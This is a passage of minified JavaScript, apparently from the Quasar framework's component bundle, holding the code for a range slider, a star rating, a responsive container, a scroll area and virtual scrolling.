            dragOnlyRange: Boolean,
            leftLabelColor: String,
            leftLabelTextColor: String,
            rightLabelColor: String,
            rightLabelTextColor: String,
            leftLabelValue: [String, Number],
            rightLabelValue: [String, Number]
        },
        data: function() {
            return {
                model: {
                    min: null === this.value.min ? this.min : this.value.min,
                    max: null === this.value.max ? this.max : this.value.max
                },
                curMinRatio: 0,
                curMaxRatio: 0
            }
        },
        watch: {
            "value.min": function(t) {
                this.model.min = null === t ? this.min : t
            },
            "value.max": function(t) {
                this.model.max = null === t ? this.max : t
            },
            min: function(t) {
                this.model.min < t && (this.model.min = t),
                this.model.max < t && (this.model.max = t)
            },
            max: function(t) {
                this.model.min > t && (this.model.min = t),
                this.model.max > t && (this.model.max = t)
            }
        },
        computed: {
            ratioMin: function() {
                return !0 === this.active ? this.curMinRatio : this.modelMinRatio
            },
            ratioMax: function() {
                return !0 === this.active ? this.curMaxRatio : this.modelMaxRatio
            },
            modelMinRatio: function() {
                return (this.model.min - this.min) / (this.max - this.min)
            },
            modelMaxRatio: function() {
                return (this.model.max - this.min) / (this.max - this.min)
            },
            trackStyle: function() {
                var t;
                return (t = {})[this.positionProp] = 100 * this.ratioMin + "%",
                t[this.sizeProp] = 100 * (this.ratioMax - this.ratioMin) + "%",
                t
            },
            minThumbStyle: function() {
                var t;
                return (t = {})[this.positionProp] = 100 * this.ratioMin + "%",
                t["z-index"] = "min" === this.__nextFocus ? 2 : void 0,
                t
            },
            maxThumbStyle: function() {
                var t;
                return (t = {})[this.positionProp] = 100 * this.ratioMax + "%",
                t
            },
            minThumbClass: function() {
                if (!1 === this.preventFocus && "min" === this.focus)
                    return "q-slider--focus"
            },
            maxThumbClass: function() {
                if (!1 === this.preventFocus && "max" === this.focus)
                    return "q-slider--focus"
            },
            events: function() {
                var t = this;
                if (!0 === this.editable) {
                    if (!0 === this.$q.platform.is.mobile)
                        return {
                            click: this.__mobileClick
                        };
                    var e = {
                        mousedown: this.__activate
                    };
                    return !0 === this.dragOnlyRange && Object.assign(e, {
                        focus: function() {
                            t.__focus("both")
                        },
                        blur: this.__blur,
                        keydown: this.__keydown,
                        keyup: this.__keyup
                    }),
                    e
                }
            },
            minEvents: function() {
                var t = this;
                if (!0 === this.editable && !0 !== this.$q.platform.is.mobile && !0 !== this.dragOnlyRange)
                    return {
                        focus: function() {
                            t.__focus("min")
                        },
                        blur: this.__blur,
                        keydown: this.__keydown,
                        keyup: this.__keyup
                    }
            },
            maxEvents: function() {
                var t = this;
                if (!0 === this.editable && !0 !== this.$q.platform.is.mobile && !0 !== this.dragOnlyRange)
                    return {
                        focus: function() {
                            t.__focus("max")
                        },
                        blur: this.__blur,
                        keydown: this.__keydown,
                        keyup: this.__keyup
                    }
            },
            minPinClass: function() {
                var t = this.leftLabelColor || this.labelColor;
                if (t)
                    return "text-" + t
            },
            minPinTextClass: function() {
                var t = this.leftLabelTextColor || this.labelTextColor;
                if (t)
                    return "text-" + t
            },
            maxPinClass: function() {
                var t = this.rightLabelColor || this.labelColor;
                if (t)
                    return "text-" + t
            },
            maxPinTextClass: function() {
                var t = this.rightLabelTextColor || this.labelTextColor;
                if (t)
                    return "text-" + t
            },
            minLabel: function() {
                return void 0 !== this.leftLabelValue ? this.leftLabelValue : this.model.min
            },
            maxLabel: function() {
                return void 0 !== this.rightLabelValue ? this.rightLabelValue : this.model.max
            },
            minPinStyle: function() {
                var t = !0 === this.reverse ? -this.ratioMin : this.ratioMin - 1;
                return this.__getPinStyle(t, this.ratioMin)
            },
            maxPinStyle: function() {
                var t = !0 === this.reverse ? -this.ratioMax : this.ratioMax - 1;
                return this.__getPinStyle(t, this.ratioMax)
            },
            formAttrs: function() {
                return {
                    type: "hidden",
                    name: this.name,
                    value: this.value.min + "|" + this.value.max
                }
            }
        },
        methods: {
            __updateValue: function(t) {
                this.model.min === this.value.min && this.model.max === this.value.max || this.$emit("input", this.model),
                !0 === t && this.$emit("change", this.model)
            },
            __getDragging: function(t) {
                var e, i = this.$el.getBoundingClientRect(), s = i.left, n = i.top, o = i.width, r = i.height, a = !0 === this.dragOnlyRange ? 0 : !0 === this.vertical ? this.$refs.minThumb.offsetHeight / (2 * r) : this.$refs.minThumb.offsetWidth / (2 * o), l = this.max - this.min, c = {
                    left: s,
                    top: n,
                    width: o,
                    height: r,
                    valueMin: this.model.min,
                    valueMax: this.model.max,
                    ratioMin: (this.model.min - this.min) / l,
                    ratioMax: (this.model.max - this.min) / l
                }, u = Yi(t, c, this.isReversed, this.vertical);
                return !0 !== this.dragOnlyRange && u < c.ratioMin + a ? e = ar : !0 === this.dragOnlyRange || u < c.ratioMax - a ? !0 === this.dragRange || !0 === this.dragOnlyRange ? (e = lr,
                Object.assign(c, {
                    offsetRatio: u,
                    offsetModel: Ui(u, this.min, this.max, this.step, this.decimals),
                    rangeValue: c.valueMax - c.valueMin,
                    rangeRatio: c.ratioMax - c.ratioMin
                })) : e = c.ratioMax - u < u - c.ratioMin ? cr : ar : e = cr,
                c.type = e,
                this.__nextFocus = void 0,
                c
            },
            __updatePosition: function(t, e) {
                void 0 === e && (e = this.dragging);
                var i, s = Yi(t, e, this.isReversed, this.vertical), n = Ui(s, this.min, this.max, this.step, this.decimals);
                switch (e.type) {
                case ar:
                    s <= e.ratioMax ? (i = {
                        minR: s,
                        maxR: e.ratioMax,
                        min: n,
                        max: e.valueMax
                    },
                    this.__nextFocus = "min") : (i = {
                        minR: e.ratioMax,
                        maxR: s,
                        min: e.valueMax,
                        max: n
                    },
                    this.__nextFocus = "max");
                    break;
                case cr:
                    s >= e.ratioMin ? (i = {
                        minR: e.ratioMin,
                        maxR: s,
                        min: e.valueMin,
                        max: n
                    },
                    this.__nextFocus = "max") : (i = {
                        minR: s,
                        maxR: e.ratioMin,
                        min: n,
                        max: e.valueMin
                    },
                    this.__nextFocus = "min");
                    break;
                case lr:
                    var o = s - e.offsetRatio
                      , r = ht(e.ratioMin + o, 0, 1 - e.rangeRatio)
                      , a = n - e.offsetModel
                      , l = ht(e.valueMin + a, this.min, this.max - e.rangeValue);
                    i = {
                        minR: r,
                        maxR: r + e.rangeRatio,
                        min: parseFloat(l.toFixed(this.decimals)),
                        max: parseFloat((l + e.rangeValue).toFixed(this.decimals))
                    }
                }
                if (this.model = {
                    min: i.min,
                    max: i.max
                },
                null !== this.model.min && null !== this.model.max || (this.model.min = i.min || this.min,
                this.model.max = i.max || this.max),
                !0 !== this.snap || 0 === this.step)
                    this.curMinRatio = i.minR,
                    this.curMaxRatio = i.maxR;
                else {
                    var c = this.max - this.min;
                    this.curMinRatio = (this.model.min - this.min) / c,
                    this.curMaxRatio = (this.model.max - this.min) / c
                }
            },
            __focus: function(t) {
                this.focus = t
            },
            __keydown: function(t) {
                var e;
                if (Wi.includes(t.keyCode)) {
                    S(t);
                    var i = ([34, 33].includes(t.keyCode) ? 10 : 1) * this.computedStep
                      , s = [34, 37, 40].includes(t.keyCode) ? -i : i;
                    if (this.dragOnlyRange) {
                        var n = this.dragOnlyRange ? this.model.max - this.model.min : 0
                          , o = ht(parseFloat((this.model.min + s).toFixed(this.decimals)), this.min, this.max - n);
                        this.model = {
                            min: o,
                            max: parseFloat((o + n).toFixed(this.decimals))
                        }
                    } else {
                        if (!1 === this.focus)
                            return;
                        var r = this.focus;
                        this.model = Object.assign({}, this.model, ((e = {})[r] = ht(parseFloat((this.model[r] + s).toFixed(this.decimals)), "min" === r ? this.min : this.model.min, "max" === r ? this.max : this.model.max),
                        e))
                    }
                    this.__updateValue()
                }
            },
            __getThumb: function(t, e) {
                var i = [this.__getThumbSvg(t), t("div", {
                    staticClass: "q-slider__focus-ring"
                })];
                return !0 !== this.label && !0 !== this.labelAlways || i.push(t("div", {
                    staticClass: "q-slider__pin q-slider__pin" + this.axis + " absolute",
                    style: this[e + "PinStyle"].pin,
                    class: this[e + "PinClass"]
                }, [t("div", {
                    staticClass: "q-slider__pin-text-container q-slider__pin-text-container" + this.axis,
                    style: this[e + "PinStyle"].pinTextContainer
                }, [t("span", {
                    staticClass: "q-slider__pin-text",
                    class: this[e + "PinTextClass"]
                }, [this[e + "Label"]])])]), t("div", {
                    staticClass: "q-slider__arrow q-slider__arrow" + this.axis,
                    class: this[e + "PinClass"]
                })),
                t("div", {
                    ref: e + "Thumb",
                    staticClass: "q-slider__thumb-container q-slider__thumb-container" + this.axis + " absolute non-selectable",
                    style: this[e + "ThumbStyle"],
                    class: this[e + "ThumbClass"],
                    on: this[e + "Events"],
                    attrs: {
                        tabindex: !0 !== this.dragOnlyRange ? this.computedTabindex : null
                    }
                }, i)
            }
        },
        render: function(t) {
            var e = [t("div", {
                staticClass: "q-slider__track q-slider__track" + this.axis + " absolute",
                style: this.trackStyle
            })];
            !0 === this.markers && e.push(t("div", {
                staticClass: "q-slider__track-markers q-slider__track-markers" + this.axis + " absolute-full fit",
                style: this.markerStyle
            }));
            var i = [t("div", {
                staticClass: "q-slider__track-container q-slider__track-container" + this.axis + " absolute"
            }, e), this.__getThumb(t, "min"), this.__getThumb(t, "max")];
            return void 0 !== this.name && !0 !== this.disable && this.__injectFormInput(i, "push"),
            t("div", {
                staticClass: null === this.value.min || null === this.value.max ? "q-slider--no-value" : void 0,
                attrs: Object.assign({}, this.attrs, {
                    "aria-valuenow": this.value.min + "|" + this.value.max,
                    tabindex: !0 === this.dragOnlyRange && !0 !== this.$q.platform.is.mobile ? this.computedTabindex : null
                }),
                class: this.classes,
                on: this.events,
                directives: this.panDirectives
            }, i)
        }
    })
      , hr = t.extend({
        name: "QRating",
        mixins: [Tt, ai, Mt],
        props: {
            value: {
                type: Number,
                required: !0
            },
            max: {
                type: [String, Number],
                default: 5
            },
            icon: [String, Array],
            iconHalf: [String, Array],
            iconSelected: [String, Array],
            color: [String, Array],
            colorHalf: [String, Array],
            colorSelected: [String, Array],
            noReset: Boolean,
            noDimming: Boolean,
            readonly: Boolean,
            disable: Boolean
        },
        data: function() {
            return {
                mouseModel: 0
            }
        },
        computed: {
            editable: function() {
                return !0 !== this.readonly && !0 !== this.disable
            },
            classes: function() {
                return "q-rating--" + (!0 === this.editable ? "" : "non-") + "editable" + (!0 === this.noDimming ? " q-rating--no-dimming" : "") + (!0 === this.disable ? " disabled" : "") + (void 0 !== this.color && !1 === Array.isArray(this.color) ? " text-" + this.color : "")
            },
            iconData: function() {
                var t = !0 === Array.isArray(this.icon) ? this.icon.length : 0
                  , e = !0 === Array.isArray(this.iconSelected) ? this.iconSelected.length : 0
                  , i = !0 === Array.isArray(this.iconHalf) ? this.iconHalf.length : 0
                  , s = !0 === Array.isArray(this.color) ? this.color.length : 0
                  , n = !0 === Array.isArray(this.colorSelected) ? this.colorSelected.length : 0
                  , o = !0 === Array.isArray(this.colorHalf) ? this.colorHalf.length : 0;
                return {
                    iconLen: t,
                    icon: t > 0 ? this.icon[t - 1] : this.icon,
                    selIconLen: e,
                    selIcon: e > 0 ? this.iconSelected[e - 1] : this.iconSelected,
                    halfIconLen: i,
                    halfIcon: i > 0 ? this.iconHalf[e - 1] : this.iconHalf,
                    colorLen: s,
                    color: s > 0 ? this.color[s - 1] : this.color,
                    selColorLen: n,
                    selColor: n > 0 ? this.colorSelected[n - 1] : this.colorSelected,
                    halfColorLen: o,
                    halfColor: o > 0 ? this.colorHalf[o - 1] : this.colorHalf
                }
            },
            attrs: function() {
                return !0 === this.disable ? {
                    "aria-disabled": ""
                } : !0 === this.readonly ? {
                    "aria-readonly": ""
                } : void 0
            }
        },
        methods: {
            __set: function(t) {
                if (!0 === this.editable) {
                    var e = ht(parseInt(t, 10), 1, parseInt(this.max, 10))
                      , i = !0 !== this.noReset && this.value === e ? 0 : e;
                    i !== this.value && this.$emit("input", i),
                    this.mouseModel = 0
                }
            },
            __setHoverValue: function(t) {
                !0 === this.editable && (this.mouseModel = t)
            },
            __keyup: function(t, e) {
                switch (t.keyCode) {
                case 13:
                case 32:
                    return this.__set(e),
                    S(t);
                case 37:
                case 40:
                    return this.$refs["rt" + (e - 1)] && this.$refs["rt" + (e - 1)].focus(),
                    S(t);
                case 39:
                case 38:
                    return this.$refs["rt" + (e + 1)] && this.$refs["rt" + (e + 1)].focus(),
                    S(t)
                }
            }
        },
        render: function(t) {
            for (var e, i = this, s = [], n = !0 === this.editable ? 0 : null, o = this.iconData, r = Math.ceil(this.value), a = void 0 === this.iconHalf || r === this.value ? -1 : r, l = function(l) {
                var c = 0 === i.mouseModel && i.value >= l || i.mouseModel > 0 && i.mouseModel >= l
                  , u = a === l && i.mouseModel < l
                  , h = i.mouseModel > 0 && (!0 === u ? r : i.value) >= l && i.mouseModel < l
                  , d = !0 === u ? l <= o.halfIconLen ? i.iconHalf[l - 1] : o.halfIcon : void 0 === o.selIcon || !0 !== c && !0 !== h ? l <= o.iconLen ? i.icon[l - 1] : o.icon : l <= o.selIconLen ? i.iconSelected[l - 1] : o.selIcon
                  , p = !0 === u ? l <= o.halfColorLen ? i.colorHalf[l - 1] : o.halfColor : void 0 !== o.selColor && !0 === c ? l <= o.selColorLen ? i.colorSelected[l - 1] : o.selColor : l <= o.colorLen ? i.color[l - 1] : o.color;
                s.push(t(Et, {
                    key: l,
                    ref: "rt" + l,
                    staticClass: "q-rating__icon",
                    class: (e = {
                        "q-rating__icon--active": !0 === c || !0 === u,
                        "q-rating__icon--exselected": h,
                        "q-rating__icon--hovered": i.mouseModel === l
                    },
                    e["text-" + p] = void 0 !== p,
                    e),
                    props: {
                        name: d || i.$q.iconSet.rating.icon
                    },
                    attrs: {
                        tabindex: n
                    },
                    on: mt(i, "i#" + l, {
                        click: function() {
                            i.__set(l)
                        },
                        mouseover: function() {
                            i.__setHoverValue(l)
                        },
                        mouseout: function() {
                            i.mouseModel = 0
                        },
                        focus: function() {
                            i.__setHoverValue(l)
                        },
                        blur: function() {
                            i.mouseModel = 0
                        },
                        keyup: function(t) {
                            i.__keyup(t, l)
                        }
                    })
                }, Lt(i, "tip-" + l)))
            }, c = 1; c <= i.max; c++)
                l(c);
            return void 0 !== this.name && !0 !== this.disable && this.__injectFormInput(s, "push"),
            t("div", {
                staticClass: "q-rating row inline items-center",
                class: this.classes,
                style: this.sizeStyle,
                attrs: this.attrs,
                on: Object.assign({}, this.qListeners)
            }, s)
        }
    })
      , dr = t.extend({
        name: "QResponsive",
        mixins: [qo, Mt],
        render: function(t) {
            return t("div", {
                staticClass: "q-responsive",
                on: Object.assign({}, this.qListeners)
            }, [t("div", {
                staticClass: "q-responsive__filler overflow-hidden"
            }, [t("div", {
                style: this.ratioStyle
            })]), t("div", {
                staticClass: "q-responsive__content absolute-full fit"
            }, Lt(this, "default"))])
        }
    })
      , pr = t.extend({
        name: "QScrollArea",
        mixins: [Dt],
        directives: {
            TouchPan: Qi
        },
        props: {
            barStyle: [Array, String, Object],
            thumbStyle: Object,
            contentStyle: [Array, String, Object],
            contentActiveStyle: [Array, String, Object],
            delay: {
                type: [String, Number],
                default: 1e3
            },
            visible: {
                type: Boolean,
                default: null
            },
            horizontal: Boolean
        },
        data: function() {
            return {
                tempShowing: !1,
                panning: !1,
                hover: !1,
                containerWidth: 0,
                containerHeight: 0,
                scrollPosition: 0,
                scrollSize: 0
            }
        },
        computed: {
            classes: function() {
                return "q-scrollarea" + (!0 === this.isDark ? " q-scrollarea--dark" : "")
            },
            thumbHidden: function() {
                return !0 !== (null === this.visible ? this.hover : this.visible) && !1 === this.tempShowing && !1 === this.panning || this.scrollSize <= this.containerSize
            },
            thumbSize: function() {
                return Math.round(ht(this.containerSize * this.containerSize / this.scrollSize, 50, this.containerSize))
            },
            style: function() {
                var t = this.scrollPercentage * (this.containerSize - this.thumbSize);
                return Object.assign({}, this.thumbStyle, !0 === this.horizontal ? {
                    left: t + "px",
                    width: this.thumbSize + "px"
                } : {
                    top: t + "px",
                    height: this.thumbSize + "px"
                })
            },
            mainStyle: function() {
                return !0 === this.thumbHidden ? this.contentStyle : this.contentActiveStyle
            },
            scrollPercentage: function() {
                var t = ht(this.scrollPosition / (this.scrollSize - this.containerSize), 0, 1);
                return Math.round(1e4 * t) / 1e4
            },
            containerSize: function() {
                return this["container" + this.dirProps.suffix]
            },
            dirProps: function() {
                return !0 === this.horizontal ? {
                    prefix: "horizontal",
                    suffix: "Width",
                    scroll: "scrollLeft",
                    classSuffix: "h absolute-bottom",
                    dir: "right",
                    dist: "x"
                } : {
                    prefix: "vertical",
                    suffix: "Height",
                    scroll: "scrollTop",
                    classSuffix: "v absolute-right",
                    dir: "down",
                    dist: "y"
                }
            },
            thumbClass: function() {
                return "q-scrollarea__thumb--" + this.dirProps.classSuffix + (!0 === this.thumbHidden ? " q-scrollarea__thumb--invisible" : "")
            },
            barClass: function() {
                return "q-scrollarea__bar--" + this.dirProps.classSuffix + (!0 === this.thumbHidden ? " q-scrollarea__bar--invisible" : "")
            }
        },
        methods: {
            getScrollTarget: function() {
                return this.$refs.target
            },
            getScrollPosition: function() {
                return this.scrollPosition
            },
            setScrollPosition: function(t, e) {
                (!0 === this.horizontal ? We : Qe)(this.$refs.target, t, e)
            },
            __updateContainer: function(t) {
                var e = t.height
                  , i = t.width
                  , s = !1;
                this.containerWidth !== i && (this.containerWidth = i,
                s = !0),
                this.containerHeight !== e && (this.containerHeight = e,
                s = !0),
                !0 === s && this.__startTimer()
            },
            __updateScroll: function(t) {
                this.scrollPosition !== t.position && (this.scrollPosition = t.position,
                this.__startTimer())
            },
            __updateScrollSize: function(t) {
                var e = t.height
                  , i = t.width;
                !0 === this.horizontal ? this.scrollSize !== i && (this.scrollSize = i,
                this.__startTimer()) : this.scrollSize !== e && (this.scrollSize = e,
                this.__startTimer())
            },
            __panThumb: function(t) {
                if (!0 === t.isFirst) {
                    if (!0 === this.thumbHidden)
                        return;
                    this.refPos = this.scrollPosition,
                    this.panning = !0
                } else if (!0 !== this.panning)
                    return;
                !0 === t.isFinal && (this.panning = !1);
                var e = (this.scrollSize - this.containerSize) / (this.containerSize - this.thumbSize)
                  , i = t.distance[this.dirProps.dist]
                  , s = this.refPos + (t.direction === this.dirProps.dir ? 1 : -1) * i * e;
                this.__setScroll(s)
            },
            __mouseDown: function(t) {
                if (!0 !== this.thumbHidden) {
                    var e = t["offset" + (!0 === this.horizontal ? "X" : "Y")] - this.thumbSize / 2;
                    this.__setScroll(e / this.containerSize * this.scrollSize),
                    void 0 !== this.$refs.thumb && this.$refs.thumb.dispatchEvent(new MouseEvent(t.type,t))
                }
            },
            __startTimer: function() {
                var t = this;
                !0 === this.tempShowing ? clearTimeout(this.timer) : this.tempShowing = !0,
                this.timer = setTimeout(function() {
                    t.tempShowing = !1
                }, this.delay),
                this.__emitScroll()
            },
            __setScroll: function(t) {
                this.$refs.target[this.dirProps.scroll] = t
            }
        },
        render: function(t) {
            var e = this;
            return t("div", {
                class: this.classes,
                on: mt(this, "desk", {
                    mouseenter: function() {
                        e.hover = !0
                    },
                    mouseleave: function() {
                        e.hover = !1
                    }
                })
            }, [t("div", {
                ref: "target",
                staticClass: "scroll relative-position fit hide-scrollbar"
            }, [t("div", {
                staticClass: "absolute",
                style: this.mainStyle,
                class: "full-" + (!0 === this.horizontal ? "height" : "width")
            }, Pt([t(Zi, {
                on: mt(this, "resizeIn", {
                    resize: this.__updateScrollSize
                })
            })], this, "default")), t(Ro, {
                props: {
                    horizontal: this.horizontal
                },
                on: mt(this, "scroll", {
                    scroll: this.__updateScroll
                })
            })]), t(Zi, {
                on: mt(this, "resizeOut", {
                    resize: this.__updateContainer
                })
            }), t("div", {
                staticClass: "q-scrollarea__bar",
                style: this.barStyle,
                class: this.barClass,
                attrs: gt,
                on: mt(this, "bar", {
                    mousedown: this.__mouseDown
                })
            }), t("div", {
                ref: "thumb",
                staticClass: "q-scrollarea__thumb",
                style: this.style,
                class: this.thumbClass,
                attrs: gt,
                directives: mt(this, "thumb#" + this.horizontal, [{
                    name: "touch-pan",
                    modifiers: {
                        vertical: !0 !== this.horizontal,
                        horizontal: this.horizontal,
                        prevent: !0,
                        mouse: !0,
                        mouseAllDir: !0
                    },
                    value: this.__panThumb
                }])
            })])
        },
        created: function() {
            var t = this;
            this.__emitScroll = $(function() {
                if (void 0 !== t.$listeners.scroll) {
                    var e = {
                        ref: t
                    }
                      , i = t.dirProps.prefix;
                    e[i + "Position"] = t.scrollPosition,
                    e[i + "Percentage"] = t.scrollPercentage,
                    e[i + "Size"] = t.scrollSize,
                    e[i + "ContainerSize"] = t.containerSize,
                    t.$emit("scroll", e)
                }
            }, 0)
        }
    })
      , fr = 1e3
      , mr = Array.prototype.slice;
    function vr(t, e) {
        return t + e
    }
    function gr(t, e, i, s, n, o, r) {
        var a = t === window ? document.scrollingElement || document.documentElement : t
          , l = !0 === n ? "offsetWidth" : "offsetHeight"
          , c = {
            scrollStart: 0,
            scrollViewSize: -o - r,
            scrollMaxSize: 0,
            offsetStart: -o,
            offsetEnd: -r
        };
        if (!0 === n ? (t === window ? (c.scrollStart = window.pageXOffset || window.scrollX || document.body.scrollLeft || 0,
        c.scrollViewSize += window.innerWidth) : (c.scrollStart = a.scrollLeft,
        c.scrollViewSize += a.clientWidth),
        c.scrollMaxSize = a.scrollWidth) : (t === window ? (c.scrollStart = window.pageYOffset || window.scrollY || document.body.scrollTop || 0,
        c.scrollViewSize += window.innerHeight) : (c.scrollStart = a.scrollTop,
        c.scrollViewSize += a.clientHeight),
        c.scrollMaxSize = a.scrollHeight),
        void 0 !== i)
            for (var u = i.previousElementSibling; null !== u; u = u.previousElementSibling)
                !1 === u.classList.contains("q-virtual-scroll--skip") && (c.offsetStart += u[l]);
        if (void 0 !== s)
            for (var h = s.nextElementSibling; null !== h; h = h.nextElementSibling)
                !1 === h.classList.contains("q-virtual-scroll--skip") && (c.offsetEnd += h[l]);
        if (e !== t) {
            var d = a.getBoundingClientRect()
              , p = e.getBoundingClientRect();
            !0 === n ? (c.offsetStart += p.left - d.left,
            c.offsetEnd -= p.width) : (c.offsetStart += p.top - d.top,
            c.offsetEnd -= p.height),
            t !== window && (c.offsetStart += c.scrollStart),
            c.offsetEnd += c.scrollMaxSize - c.offsetStart
        }
        return c
    }
    function _r(t, e, i) {
        t === window ? !0 === i ? window.scrollTo(e, window.pageYOffset || window.scrollY || document.body.scrollTop || 0) : window.scrollTo(window.pageXOffset || window.scrollX || document.body.scrollLeft || 0, e) : t[!0 === i ? "scrollLeft" : "scrollTop"] = e
    }
    function br(t, e, i, s) {
        if (i >= s)
            return 0;
        var n = e.length
          , o = Math.floor(i / fr)
          , r = Math.floor((s - 1) / fr) + 1
          , a = t.slice(o, r).reduce(vr, 0);
        return i % fr != 0 && (a -= e.slice(o * fr, i).reduce(vr, 0)),
        s % fr != 0 && s !== n && (a -= e.slice(s, r * fr).reduce(vr, 0)),
        a
    }
    var yr = {
        virtualScrollSliceSize: {
            type: Number,
            default: 30
        },
        virtualScrollItemSize: {
            type: Number,
            default: 24
        },
        virtualScrollStickySizeStart: {
            type: Number,
            default: 0
        },
        virtualScrollStickySizeEnd: {
            type: Number,
            default: 0
        }
    }
      , wr = Object.keys(yr)
      , Sr = {
        props: Object.assign({}, {
            virtualScrollHorizontal: Boolean
        }, yr),
        data: function() {
            return {
                virtualScrollSliceRange: {
                    from: 0,
                    to: 0
                }
            }
        },
        watch: {
            virtualScrollHorizontal: function() {
                this.__setVirtualScrollSize()
            },
            needsReset: function() {
                this.reset()
            }
        },
        computed: {
            needsReset: function() {
                var t = this;
                return ["virtualScrollItemSize", "virtualScrollHorizontal"].map(function(e) {
                    return t[e]
                }).join(";")
            }
        },
        methods: {
            reset: function() {
                this.__resetVirtualScroll(this.prevToIndex, !0)
            },
            refresh: function(t) {
                this.__resetVirtualScroll(void 0 === t ? this.prevToIndex : t)
            },
            scrollTo: function(t) {
                var e = this.__getVirtualScrollTarget();
                void 0 !== e && null !== e && 8 !== e.nodeType && this.__setVirtualScrollSliceRange(e, gr(e, this.__getVirtualScrollEl(), this.$refs.before, this.$refs.after, this.virtualScrollHorizontal, this.virtualScrollStickySizeStart, this.virtualScrollStickySizeEnd), Math.min(this.virtualScrollLength - 1, Math.max(0, parseInt(t, 10) || 0)), 0, this.prevToIndex > -1 && t > this.prevToIndex ? "end" : "start")
            },
            __onVirtualScrollEvt: function() {
                var t = this.__getVirtualScrollTarget();
                if (void 0 !== t && null !== t && 8 !== t.nodeType) {
                    var e = gr(t, this.__getVirtualScrollEl(), this.$refs.before, this.$refs.after, this.virtualScrollHorizontal, this.virtualScrollStickySizeStart, this.virtualScrollStickySizeEnd)
                      , i = e.scrollMaxSize - Math.max(e.scrollViewSize, e.offsetEnd) - this.virtualScrollSizes[this.virtualScrollLength - 1]
                      , s = this.virtualScrollLength - 1;
                    if (this.prevScrollStart !== e.scrollStart)
                        if (this.prevScrollStart = void 0,
                        this.__updateVirtualScrollSizes(this.virtualScrollSliceRange.from),
                        i > 0 && e.scrollStart >= i)
                            this.__setVirtualScrollSliceRange(t, e, this.virtualScrollLength - 1, e.scrollMaxSize - e.offsetEnd - this.virtualScrollSizesAgg.reduce(vr, 0));
                        else {
                            for (var n = 0, o = e.scrollStart - e.offsetStart, r = o, a = 0; o >= this.virtualScrollSizesAgg[a] && n < s; a++)
                                o -= this.virtualScrollSizesAgg[a],
                                n += fr;
                            for (; o > 0 && n < s; )
                                (o -= this.virtualScrollSizes[n]) > -e.scrollViewSize ? (n++,
                                r = o) : r = this.virtualScrollSizes[n] + o;
                            this.__setVirtualScrollSliceRange(t, e, n, r)
                        }
                }
            },
            __setVirtualScrollSliceRange: function(t, e, i, s, n) {
                var o = this
                  , r = Math.max(0, Math.ceil(i - (void 0 === n ? 3 : 2) * this.virtualScrollSliceSizeComputed / 6))
                  , a = r + this.virtualScrollSliceSizeComputed;
                a > this.virtualScrollLength && (a = this.virtualScrollLength,
                r = Math.max(0, a - this.virtualScrollSliceSizeComputed));
                var l = r !== this.virtualScrollSliceRange.from || a !== this.virtualScrollSliceRange.to;
                !1 !== l || void 0 !== n ? (!0 === l && (this.virtualScrollSliceRange = {
                    from: r,
                    to: a
                },
                this.virtualScrollPaddingBefore = br(this.virtualScrollSizesAgg, this.virtualScrollSizes, 0, r),
                this.virtualScrollPaddingAfter = br(this.virtualScrollSizesAgg, this.virtualScrollSizes, a, this.virtualScrollLength)),
                this.$nextTick(function() {
                    !0 === l && o.__updateVirtualScrollSizes(r);
                    var a = o.virtualScrollSizes.slice(r, i).reduce(vr, e.offsetStart + o.virtualScrollPaddingBefore)
                      , c = a + o.virtualScrollSizes[i]
                      , u = a + s;
                    void 0 !== n && (u = e.scrollStart < a && c < e.scrollStart + e.scrollViewSize ? e.scrollStart : "end" === n ? c - e.scrollViewSize : a),
                    o.prevScrollStart = u,
                    o.__setScroll(t, u, o.virtualScrollHorizontal),
                    o.__emitScroll(i)
                })) : this.__emitScroll(i)
            },
            __updateVirtualScrollSizes: function(t) {
                var e = this.$refs.content;
                if (void 0 !== e)
                    for (var i, s, n = mr.call(e.children).filter(function(t) {
                        return !1 === t.classList.contains("q-virtual-scroll--skip")
                    }), o = n.length, r = !0 === this.virtualScrollHorizontal ? "offsetWidth" : "offsetHeight", a = t, l = 0; l < o; ) {
                        for (i = n[l][r],
                        l++; l < o && !0 === n[l].classList.contains("q-virtual-scroll--with-prev"); )
                            i += n[l][r],
                            l++;
                        0 !== (s = i - this.virtualScrollSizes[a]) && (this.virtualScrollSizes[a] += s,
                        this.virtualScrollSizesAgg[Math.floor(a / fr)] += s),
                        a++
                    }
            },
            __resetVirtualScroll: function(t, e) {
                var i = this
                  , s = this.virtualScrollItemSize;
                !0 !== e && !1 !== Array.isArray(this.virtualScrollSizes) || (this.virtualScrollSizes = []);
                var n = this.virtualScrollSizes.length;
                this.virtualScrollSizes.length = this.virtualScrollLength;
                for (var o = this.virtualScrollLength - 1; o >= n; o--)
                    this.virtualScrollSizes[o] = s;
                var r = Math.floor((this.virtualScrollLength - 1) / fr);
                this.virtualScrollSizesAgg = [];
                for (var a = 0; a <= r; a++) {
                    for (var l = 0, c = Math.min((a + 1) * fr, this.virtualScrollLength), u = a * fr; u < c; u++)
                        l += this.virtualScrollSizes[u];
                    this.virtualScrollSizesAgg.push(l)
                }
                this.prevToIndex = -1,
                this.prevScrollStart = void 0,
                t >= 0 ? (this.__updateVirtualScrollSizes(this.virtualScrollSliceRange.from),
                this.$nextTick(function() {
                    i.scrollTo(t)
                })) : (this.virtualScrollPaddingBefore = br(this.virtualScrollSizesAgg, this.virtualScrollSizes, 0, this.virtualScrollSliceRange.from),
                this.virtualScrollPaddingAfter = br(this.virtualScrollSizesAgg, this.virtualScrollSizes, this.virtualScrollSliceRange.to, this.virtualScrollLength),
                this.__onVirtualScrollEvt())
            },
            __setVirtualScrollSize: function() {
                !0 === this.virtualScrollHorizontal ? this.virtualScrollSliceSizeComputed = "undefined" == typeof window ? this.virtualScrollSliceSize : Math.max(this.virtualScrollSliceSize, Math.ceil(window.innerWidth / this.virtualScrollItemSize * 2)) : this.virtualScrollSliceSizeComputed = "undefined" == typeof window ? this.virtualScrollSliceSize : Math.max(this.virtualScrollSliceSize, Math.ceil(window.innerHeight / this.virtualScrollItemSize * 2))
            },
            __padVirtualScroll: function(t, e, i) {
                var s, n, o, r, a = !0 === this.virtualScrollHorizontal ? "width" : "height";
                return ["tbody" === e ? t(e, {
                    staticClass: "q-virtual-scroll__padding",
                    key: "before",
                    ref: "before"
                }, [t("tr", [t("td", {
                    style: (s = {},
                    s[a] = this.virtualScrollPaddingBefore + "px",
                    s),
                    attrs: {
                        colspan: "100%"
                    }
                })])]) : t(e, {
                    staticClass: "q-virtual-scroll__padding",
                    key: "before",
                    ref: "before",
                    style: (n = {},
                    n[a] = this.virtualScrollPaddingBefore + "px",
                    n)
